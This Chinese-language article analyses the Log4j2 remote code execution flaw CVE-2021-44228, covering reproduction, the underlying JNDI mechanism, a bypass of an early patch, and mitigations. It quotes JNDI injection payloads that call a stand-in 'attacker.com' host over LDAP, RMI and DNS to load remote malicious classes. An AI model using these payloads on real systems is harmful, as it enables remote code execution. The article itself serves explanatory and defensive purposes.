Log4j2漏洞复现-原理-补丁绕过
字数 1909 2025-08-12 11:34:29
Log4j2漏洞分析与防护指南
1. 漏洞概述
Log4j2漏洞(CVE-2021-44228)是一个严重的安全漏洞,它允许攻击者通过构造特定的日志消息实现远程代码执行(RCE)。该漏洞存在于Apache Log4j2库中,影响版本为2.0-beta9至2.14.1。
漏洞本质
Log4j2默认支持解析LDAP/RMI协议,当打印的日志中包含这些协议时,会通过名称从LDAP服务端获取对应的Class文件,并使用ClassLoader在本地加载返回的Class类。这为攻击者提供了攻击途径。
2. 漏洞复现
环境准备
- JDK版本:8u202(特定情况下需要)
- Maven项目
- 添加Log4j2依赖
复现步骤
- 搭建一个包含Log4j2的Maven项目
- 添加必要的依赖项
- 构造PoC(Proof of Concept)代码
// 示例PoC代码
logger.error("${jndi:ldap://localhost:9999/Test}");
- 启动LDAP服务端监听9999端口
- 当该日志被记录时,会触发恶意Class的加载执行
攻击方式
攻击者可以在用户输入界面传入包含恶意内容的LDAP协议内容,如:
${jndi:ldap://attacker.com:9999/Exploit}
当该内容传递到后端被log4j2打印出来,就会触发漏洞。
3. 漏洞原理
关键点分析
- JNDI注入:漏洞的核心是Java命名和目录接口(JNDI)的注入
- Lookup功能:漏洞最终触发点在lookup上,通过lookup发起请求
- 用户可控输入:jndiName(日志记录内容)是用户可控的
攻击流程
- 攻击者构造包含JNDI lookup的恶意字符串
- 应用程序记录该字符串到日志
- Log4j2解析日志时执行JNDI lookup
- 从攻击者控制的LDAP/RMI服务器下载恶意类
- 恶意类在受害者服务器上执行任意代码
4. 补丁分析与绕过
初始补丁分析(log4j-2.15.0-rc1)
-
白名单校验:
- 对scheme和host做了白名单校验
- 默认白名单为空,需要手动配置
- 未配置时无法绕过
-
Lookup功能限制:
- 老版本lookup默认开启
- 新版本lookup默认关闭,需手动配置
- 添加了withoutLookupOptions方法进行限制
补丁绕过方法
-
URL语法错误利用:
- 利用URL语法错误报错将错误语句注入到log
- 导致payload解析,触发漏洞
- 原补丁未在catch块中添加return null语句
-
修复方式:
- 在catch块中添加return null语句
- 直接跳出,不再执行后续代码
防护有效性
- 默认配置是安全的(无配置文件)
- 需要用户手动创建配置文件
- 只要配置不出现问题,基本可以防护
5. 防护措施
紧急缓解方案
- 升级到最新版本(2.15.0及以上)
- 临时解决方案:
- 设置系统属性:
log4j2.formatMsgNoLookups=true - 移除JndiLookup类:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 设置系统属性:
长期防护策略
-
输入验证:
- 对所有用户输入进行严格验证
- 过滤包含"${"的输入
-
安全配置:
- 限制日志记录的内容
- 禁用不必要的日志功能
-
网络防护:
- 限制出站连接
- 防火墙规则阻止到LDAP/RMI端口的出站连接
-
监控与检测:
- 监控日志中的可疑JNDI lookup尝试
- 部署入侵检测系统(IDS)规则
6. 技术细节
JNDI注入机制
-
协议支持:
- LDAP (Lightweight Directory Access Protocol)
- RMI (Remote Method Invocation)
- DNS (Domain Name System)
-
攻击向量:
${jndi:ldap://attacker.com/Exploit} ${jndi:rmi://attacker.com/Exploit} ${jndi:dns://attacker.com/Exploit}
类加载过程
- 解析JNDI lookup字符串
- 连接到指定的LDAP/RMI服务器
- 下载恶意Class文件
- 使用ClassLoader加载并执行
7. 影响范围
受影响版本
- Log4j2 2.0-beta9 到 2.14.1
受影响应用
- 任何使用受影响Log4j2版本记录用户输入的Java应用
- 包括但不限于:
- Web应用程序
- 企业级应用
- 云服务
- 嵌入式系统
8. 参考资源
- Apache Log4j2官方安全公告
- CVE-2021-44228详细描述
- 各大安全厂商(如360)的分析报告
- Fastjson相关利用技术参考
9. 总结
Log4j2漏洞是一个极其严重的远程代码执行漏洞,影响范围广泛。理解其原理和利用方式对于有效防护至关重要。通过升级到安全版本、实施严格的输入验证和配置适当的网络防护措施,可以显著降低被攻击的风险。安全团队应持续关注相关补丁和新的绕过技术,确保防护措施始终有效。